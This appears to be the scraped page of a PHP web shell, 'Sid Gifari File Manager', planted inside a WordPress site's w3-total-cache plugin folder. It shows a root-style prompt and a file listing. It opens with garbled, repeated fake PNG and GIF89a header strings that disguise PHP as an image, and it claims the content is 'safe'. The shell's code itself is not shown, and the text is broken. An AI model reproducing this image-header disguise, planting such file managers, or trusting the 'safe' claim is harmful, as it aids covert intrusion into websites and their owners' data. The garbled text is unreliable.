$假PNG头 = "\x89PNG\r\n\x1a\n";             "\头"\头"\头"\头"\头"\头        $假PNG头 = "\x89PNG\r\n\x1a\n        "\头"\头 $假PNG头 = "\x89PNG\r\n\x1a\n"; GIF89a PHP Polyglot Example

PHP Polyglot Demo

Today's date is: 2026-04-07

This file starts with a GIF header, so some tools might classify it incorrectly, but the contents are safe HTML + PHP.

WordFence

Sid Gifari File Manager

🏠 Root / home / weigepor / public_html / wp-content / plugins / w3-total-cache / lib / W3 / Pro /
root@Sid-Gifari:/home/weigepor/public_html/wp-content/plugins/w3-total-cache/lib/W3/Pro$


NameSizePermAction
📄 FragmentCache.php 19360 bytes
📄 FragmentCacheAdminEnvironment.php 2855 bytes
📁 Plugin -